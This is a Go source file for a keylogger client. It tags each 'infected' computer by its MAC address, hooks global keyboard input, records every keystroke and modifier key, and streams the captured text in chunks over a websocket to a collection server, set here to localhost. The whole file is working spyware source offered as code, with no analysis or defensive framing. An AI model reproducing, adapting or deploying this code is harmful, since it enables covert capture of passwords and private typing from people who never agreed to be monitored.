package main

import (
	"bytes"
	"encoding/hex"
	"fmt"
	"math/rand"
	"net"
	"net/url"
	"os"
	"strings"
	"time"

	"github.com/gorilla/websocket"
	hook "github.com/robotn/gohook"
)

const (
	SHIFT_RAWCODE = 65505
	CTRL_RAWCODE  = 65507
	ALT_RAWCODE   = 65513
	DEL_KEYCHAR   = 8
	ENTER_KEYCHAR = 13
	REG_START     = 32
	REG_END       = 255
)

var debug = false

func log(msg string, formats ...any) {
	if debug {
		fmt.Printf(msg, formats...)
	}
}

// get mac address so we can differentiate between separate infected computers/clients
func getId() []byte {
	interfaces, err := net.Interfaces()
	if err != nil {
		panic(err)
	} else {
		for _, i := range interfaces {
			if (strings.HasPrefix(strings.ToLower(i.Name), "e") || strings.HasPrefix(strings.ToLower(i.Name), "w")) && i.Flags&net.FlagUp != 0 && i.Flags&net.FlagLoopback == 0 && !bytes.Equal(i.HardwareAddr, nil) {
				return i.HardwareAddr
			}
		}
	}

	id := make([]byte, 6)
	rand.Read(id)
	return id
}

func main() {
	id := getId()
	var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: "/keys", RawQuery: fmt.Sprintf("id=%s", hex.EncodeToString(id))}
	debugRaw := strings.ToLower(os.Getenv("DEBUG"))
	debug = debugRaw == "true" || debugRaw == "1" || debugRaw == "yes"

	var conn *websocket.Conn
	var err error
	var tries = 0
	for {
		log("attempting to dial: %s\n", resource.String())
		conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil)
		if err != nil {
			log("dialing failed\n")
			tries += 1
			if tries >= 3 {
				return
			}
			time.Sleep(time.Second)
		} else {
			log("dialing succesful\n")
			break
		}
	}
	defer conn.Close()

	go func() {
		defer os.Exit(0)
		for {
			kind, _, err := conn.ReadMessage()
			log("read message of kind %v\n", kind)
			if err != nil {
				return
			}
			if kind == websocket.CloseMessage {
				return
			}
		}
	}()

	evChan := hook.Start()
	defer hook.End()
	buff := make([]byte, 64)

	for ev := range evChan {
		log("received event: %d (%c)\n", ev.Rawcode, ev.Keychar)

		switch ev.Rawcode {
		case SHIFT_RAWCODE:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[shift]")...)
			} else if ev.Kind == hook.KeyUp {
				buff = append(buff, []byte("[SHIFT]")...)
			}
			continue

		case CTRL_RAWCODE:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[ctrl]")...)
			} else if ev.Kind == hook.KeyUp {
				buff = append(buff, []byte("[CTRL]")...)
			}
			continue

		case ALT_RAWCODE:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[alt]")...)
			} else if ev.Kind == hook.KeyUp {
				buff = append(buff, []byte("[ALT]")...)
			}
			continue

		case DEL_KEYCHAR:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[del]")...)
			}
			continue
		}

		switch ev.Keychar {
		case DEL_KEYCHAR:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("[del]")...)
			}
			continue

		case ENTER_KEYCHAR:
			if ev.Kind == hook.KeyDown {
				buff = append(buff, []byte("\n")...)
			}
			continue
		}

		if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
			if ev.Kind == hook.KeyDown {
				buff = append(buff, byte(ev.Keychar))
			}
		}

		if len(buff) >= 32 {
			log("writing buffer")
			conn.WriteMessage(websocket.TextMessage, buff[:32])
			buff = buff[32:]
		}
	}
}